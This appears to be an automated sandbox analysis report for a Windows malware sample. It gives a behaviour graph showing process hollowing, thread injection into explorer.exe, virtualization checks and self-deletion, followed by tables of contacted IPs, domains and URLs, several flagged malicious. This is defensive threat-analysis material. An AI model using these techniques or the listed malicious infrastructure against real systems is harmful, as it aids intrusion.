behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 532910 Sample: 1D4l9eR0W4 Startdate: 02/12/2021 Architecture: WINDOWS Score: 100 31 www.fourthandwhiteoak.com 2->31 39 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->39 41 Found malware configuration 2->41 43 Malicious sample detected (through community Yara rule) 2->43 45 6 other signatures 2->45 11 1D4l9eR0W4.exe 3 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\...\1D4l9eR0W4.exe.log, ASCII 11->29 dropped 57 Tries to detect virtualization through RDTSC time measurements 11->57 15 1D4l9eR0W4.exe 11->15         started        signatures6 process7 signatures8 59 Modifies the context of a thread in another process (thread injection) 15->59 61 Maps a DLL or memory area into another process 15->61 63 Sample uses process hollowing technique 15->63 65 Queues an APC in another process (thread injection) 15->65 18 explorer.exe 15->18 injected process9 dnsIp10 33 texascountrycharts.com 15.197.142.173, 49834, 80 TANDEMUS United States 18->33 35 websitessample.com 198.143.147.58, 49873, 80 SINGLEHOP-LLCUS United States 18->35 37 16 other IPs or domains 18->37 47 System process connects to network (likely due to code injection or exploit) 18->47 22 wlanext.exe 18->22         started        signatures11 process12 signatures13 49 Self deletion via cmd delete 22->49 51 Modifies the context of a thread in another process (thread injection) 22->51 53 Maps a DLL or memory area into another process 22->53 55 Tries to detect virtualization through RDTSC time measurements 22->55 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
147.255.129.44
 www.21yingyang.com United States
395954 LEASEWEB-USA-LAX-11US true
198.143.147.58
 websitessample.com United States
32475 SINGLEHOP-LLCUS true
142.250.203.115
 ghs.googlehosted.com United States
15169 GOOGLEUS false
43.132.183.85
 www.rip-online.com Japan 4249 LILLY-ASUS true
15.197.142.173
 texascountrycharts.com United States
7430 TANDEMUS true
34.102.136.180
 royallecleaning.com United States
15169 GOOGLEUS false
87.236.16.208
 www.tikomobile.store Russian Federation
198610 BEGET-ASRU true
23.227.38.74
 shops.myshopify.com Canada
13335 CLOUDFLARENETUS true
35.209.150.94
 www.scion-go-getter.com United States
19527 GOOGLE-2US true
107.164.242.49
 www.foxandmew.com United States
18779 EGIHOSTINGUS true

Contacted Domains

Name IP Active
www.foxandmew.com 107.164.242.49 true
royallecleaning.com 34.102.136.180 true
texascountrycharts.com 15.197.142.173 true
www.21yingyang.com 147.255.129.44 true
www.rip-online.com 43.132.183.85 true
9linefarms.com 34.102.136.180 true
websitessample.com 198.143.147.58 true
shops.myshopify.com 23.227.38.74 true
www.tikomobile.store 87.236.16.208 true
ghs.googlehosted.com 142.250.203.115 true
www.scion-go-getter.com 35.209.150.94 true
www.fulvousemollientplanet.com unknown unknown
www.sandman.network unknown unknown
www.fourthandwhiteoak.com unknown unknown
www.royallecleaning.com unknown unknown
www.websitessample.com unknown unknown
www.experimentwithoutlimits.com unknown unknown
www.9linefarms.com unknown unknown
www.texascountrycharts.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
www.scion-go-getter.com/mwev/ true
  • Avira URL Cloud: safe
 low